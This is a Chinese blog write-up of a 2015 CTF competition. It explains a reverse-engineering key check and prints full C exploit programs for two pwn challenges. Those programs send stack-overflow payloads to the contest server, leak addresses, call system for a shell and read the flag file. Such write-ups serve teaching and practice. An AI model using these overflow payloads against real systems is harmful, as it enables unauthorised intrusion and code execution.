强网杯ctf pwn&re writeup （部分）

原创

zh_explorer 于 2015-06-04 20:55:03 发布 6784 收藏 1
分类专栏： 没事撸题 文章标签： ctf pwn re writeup 强网杯

本文链接：https://blog.csdn.net/zh_explorer/article/details/46367175

打了2天的强网杯，虽然一度冲进了前10。可惜最后的时候还是掉出了20名。最后只能无奈打出GG。其中的原因有很多，也不想多说了。
逆向溢出题3连发。我就只会那么多了Orz
先来一道re200

> kergen

发送24位的字符串，主要是400B56处的检验函数。检验方法是这样的先是发送字符的第1 10 7 11 2 13 16 17位，中间插入43917202。然后MD5，然后转化成32位字符串形式，然后把前16位字符按ascii码转化成整数字符串。就是一个sprintf(“%d”,char)这样，再去掉其中的所有0，然后转化后的字符串第5至12位和发送字符串第15 12 18 0 6 8 5 3位相同。
再然后字符串的4 9 12 19 位必须是‘-’，然后发送10次，每次不一样。还好字符串最后4位没有要求，随便凑就好<–其实好像是出题的bug了或者是后面降低难度加上的最后4位

额，这题还要啥脚本，手算都出来了。

然后是一题pwn100

> guess

题目非常的简单。无限读取到栈上什么的最棒了。但是题目没有给libc，可以leak出libc加载的基地址。但是不知道system函数的地址。
这里需要脑洞，自动脑补服务器端程序根目录下就有个文件flag。恩，一定是这样的。
那么就是溢出后控制程序跳转到打印文件的函数，然后flag这个文件名可以在最后的scanf接收到堆中。
代码如下：

```
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>

#pragma comment(lib,"ws2_32.lib")
int main (void)
```

```
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData);
    sockClient=socket(AF_INET,SOCK_STREAM,0);

    addrServer.sin_addr.S_un.S_addr=inet_addr("119.254.101.197");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(10000);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);


    char message[2000];
    for(i=0;i<156;i++)
        message[i]='x';

    message[156]='0x30';
    message[157]='0x88';
    message[158]='0x04';
    message[159]='0x08';
    message[160]='x';
    message[161]='x';
    message[162]='x';
    message[163]='x';
    message[164]='0x00';
    message[165]='0xa1';
    message[166]='0x04';
    message[167]='0x08';
    message[168]='\n';

    send(sockClient,message,169,0);
    Sleep(1000);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    for(i=0;i<5;i++)
    {
        scanf_s("%s",message,200);
        int len = strlen(message);
        message[len]='\n';
        send(sockClient,message,len+1,0);
        Sleep(1000);
        recv(sockClient,recvBuf,1000,0);
        printf("%s",recvBuf);
        printf("\n*****************************************************************\n");
        for(i=0;i<1000;recvBuf[i]=0,i++);
    }
```

```
    }


    strcpy_s(message,26,"flag");
    message[4]='\n';

    send(sockClient,message,65,0);
    Sleep(1000);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*************************************************************\n");
    for(i=0;i<5000;recvBuf[i]=0,i++);

    Sleep(1000);
    recv(sockClient,recvBuf,5000,0);
    printf("%s",recvBuf);
    printf("\n*************************************************************\n");


    closesocket(sockClient);
    WSACleanup();
    return 0;
}
```

没错，你并没有看错，这是c语言。不要怀疑自己的眼睛。

pwn200

> urldecode

08048720处就是获得字符串的函数了。除了检查'\n'之外不做任何检查。而且不限长度。只是读入到堆中，暂时无法利用。
08048800处会把输入字符拷贝到栈中。虽然会有长度检查。不过前面输入时加个'0x00'就可以绕过。不过程序会在到'0x00'就停止拷贝了。不过只要前面加个%就可以把'0x00'转义掉了(decode自己挖的坑)

成功利用的代码如下

```
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>
void a(char *message,unsigned char *buf);
#pragma comment(lib,"ws2_32.lib")
int main (void)
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData);
    sockClient=socket(AF_INET,SOCK_STREAM,0);
    addrServer.sin_addr.S_un.S_addr=inet_addr("119.254.101.197");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(10001);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));
```

```
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
for(i=0;i<1000;recvBuf[i]=0,i++);
printf("\n**************************************************************\n");

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
for(i=0;i<1000;recvBuf[i]=0,i++);
printf("\n**************************************************************\n");


char message[2000]="http://";
for(i=7;i<500;i++)
    message[i]='a';
message[7]='%';
message[8]='5';
message[9]=0;
message[158]=0x90;
message[159]=0x85;
message[160]=0x04;
message[161]=0x08;
message[190]='\n';
send(sockClient,message,191,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n**************************************************************\n");

unsigned char buf[4]={recvBuf[203],recvBuf[204],recvBuf[205],recvBuf[206]};
for(i=0;i<1000;recvBuf[i]=0,i++);
for(i=7;i<500;i++)
message[i]='a';
message[7]='%';
message[8]='5';
message[9]=0;
a(message,buf);
send(sockClient,message,171,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("\n**************************************************************\n");

printf("%s",recvBuf);
printf("\n**************************************************************\n");

for(i=0;i<1000;recvBuf[i]=0,i++);
message[0]='c';
message[1]='a';
message[2]='t';
message[3]=' ';
message[4]='f';
message[5]='l';
message[6]='a';
message[7]='g';
message[8]='\n';
send(sockClient,message,9,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
for(i=0;i<1000;recvBuf[i]=0,i++);
```

```
        printf("\n*****************************************************************\n");


        closesocket(sockClient);
        WSACleanup();
        return 0;
    }
    void a(char *message,unsigned char *buf)
    {
        int i;
        int a=0;
        unsigned char system[4];
        unsigned char bin[4];
        system[3]=buf[3];
        bin[3]=buf[3];
        system[0]=buf[0]+0x0d;
        system[1]=0x67 +buf[1];
        system[2]=buf[2]+2;

        bin[0]=0xa1 + buf[0];
        bin[1]=buf[1] + 0x70;
        bin[2]=buf[2] + 0x14;

        message[158]=system[0];
        message[159]=system[1];
        message[160]=system[2];
        message[161]=system[3];
        message[162]='a';
        message[163]='a';
        message[164]='a';
        message[165]='a';
        message[166]=bin[0];
        message[167]=bin[1];
        message[168]=bin[2];
        message[169]=bin[3];
        message[170]='\n';

    }
```

什么都不会啊，只会一点c语言的渣渣膜拜各路大神Orz

PS：还有一题pwn400分，已经可以成功控制程序的跳转了。可惜最后时间不够，没有办法打下来